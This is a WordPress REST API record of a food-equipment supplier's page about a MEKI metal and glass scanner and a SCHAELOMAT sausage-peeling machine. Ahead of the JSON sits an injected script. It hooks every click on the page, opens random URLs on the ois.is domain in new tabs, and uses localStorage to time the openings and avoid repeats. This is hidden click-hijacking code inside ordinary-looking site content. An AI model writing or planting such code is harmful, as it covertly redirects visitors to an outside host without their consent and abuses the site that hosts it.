<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":360,"date":"2017-08-01T18:01:15","date_gmt":"2017-08-01T13:31:15","guid":{"rendered":"http:\/\/saeed-moshaver.com\/en\/?page_id=360"},"modified":"2017-08-01T18:01:15","modified_gmt":"2017-08-01T13:31:15","slug":"peelomat","status":"publish","type":"page","link":"http:\/\/saeed-moshaver.com\/en\/peelomat\/","title":{"rendered":"peelomat"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row][vc_column width=&#8221;1\/4&#8243;][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<\/p>\n<div class=\"wpb_text_column wpb_content_element \">\n<div class=\"wpb_wrapper\">\n<p><span id=\"result_box\" class=\"\" lang=\"en\"><span class=\"\"><strong>MEKI:<\/strong> MEKI scanning machine manufacturing country of Finland<\/span><\/span><\/p>\n<ul>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">\u00a0<span class=\"\">Scan food with the ability to detect metal and glass stones<\/span><br \/>\n<\/span><\/li>\n<\/ul>\n<p><span id=\"result_box\" class=\"\" lang=\"en\"><br \/>\n<strong><span class=\"\">The sausage skinning machine made by SCHALOMAT Germany<\/span><\/strong><br \/>\n<\/span><\/p>\n<ul>\n<li><span id=\"result_box\" class=\"\" lang=\"en\"><span class=\"\">For peeling all sorts of sausages<\/span><\/span><span id=\"result_box\" class=\"\" lang=\"en\"><\/span><br \/>\n<span id=\"result_box\" class=\"\" lang=\"en\"><\/span><\/li>\n<\/ul>\n<p><span id=\"result_box\" class=\"\" lang=\"en\"><br \/>\n<span class=\"\">Click for <a href=\"https:\/\/www.schaelomat.de\/en\/automatic-peeling-machine.html\">more info \u2026.<\/a><\/span><\/span><\/p>\n<\/div>\n<\/div>\n<div class=\"vc_column_container vc_col-sm-6\">\u00a0<img loading=\"lazy\" class=\"size-medium wp-image-340 alignright\" src=\"http:\/\/saeed-moshaver.com\/wp-content\/uploads\/2017\/07\/logo-peelomat-by-schaelomat-300x88.jpg\" alt=\"\" width=\"300\" height=\"88\" \/><\/div>\n<p>[\/vc_column_text][vc_separator]<div class=\"ult-spacer spacer-6a614fd136e2a\" data-id=\"6a614fd136e2a\" data-height=\"50\" data-height-mobile=\"50\" data-height-tab=\"50\" data-height-tab-portrait=\"\" data-height-mobile-landscape=\"\" style=\"clear:both;display:block;\"><\/div>[vc_row_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;220&#8243; img_size=&#8221;300*300&#8243; style=&#8221;vc_box_border&#8221; border_color=&#8221;black&#8221; onclick=&#8221;link_image&#8221; css_animation=&#8221;top-to-bottom&#8221;][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;219&#8243; img_size=&#8221;300*300&#8243; style=&#8221;vc_box_border&#8221; border_color=&#8221;black&#8221; onclick=&#8221;link_image&#8221; css_animation=&#8221;top-to-bottom&#8221;][\/vc_column_inner][\/vc_row_inner][\/vc_column][vc_column width=&#8221;1\/4&#8243;][\/vc_column][\/vc_row]<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column width=&#8221;1\/4&#8243;][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text] MEKI: MEKI scanning machine manufacturing country of Finland \u00a0Scan food with the ability to detect metal and glass stones The sausage skinning machine made by SCHALOMAT Germany For peeling all sorts of sausages Click for more info \u2026. \u00a0 [\/vc_column_text][vc_separator][vc_row_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;220&#8243; img_size=&#8221;300*300&#8243; style=&#8221;vc_box_border&#8221; border_color=&#8221;black&#8221; onclick=&#8221;link_image&#8221; css_animation=&#8221;top-to-bottom&#8221;][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;219&#8243; img_size=&#8221;300*300&#8243; style=&#8221;vc_box_border&#8221; border_color=&#8221;black&#8221; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/360"}],"collection":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/comments?post=360"}],"version-history":[{"count":1,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/360\/revisions"}],"predecessor-version":[{"id":361,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/360\/revisions\/361"}],"wp:attachment":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/media?parent=360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}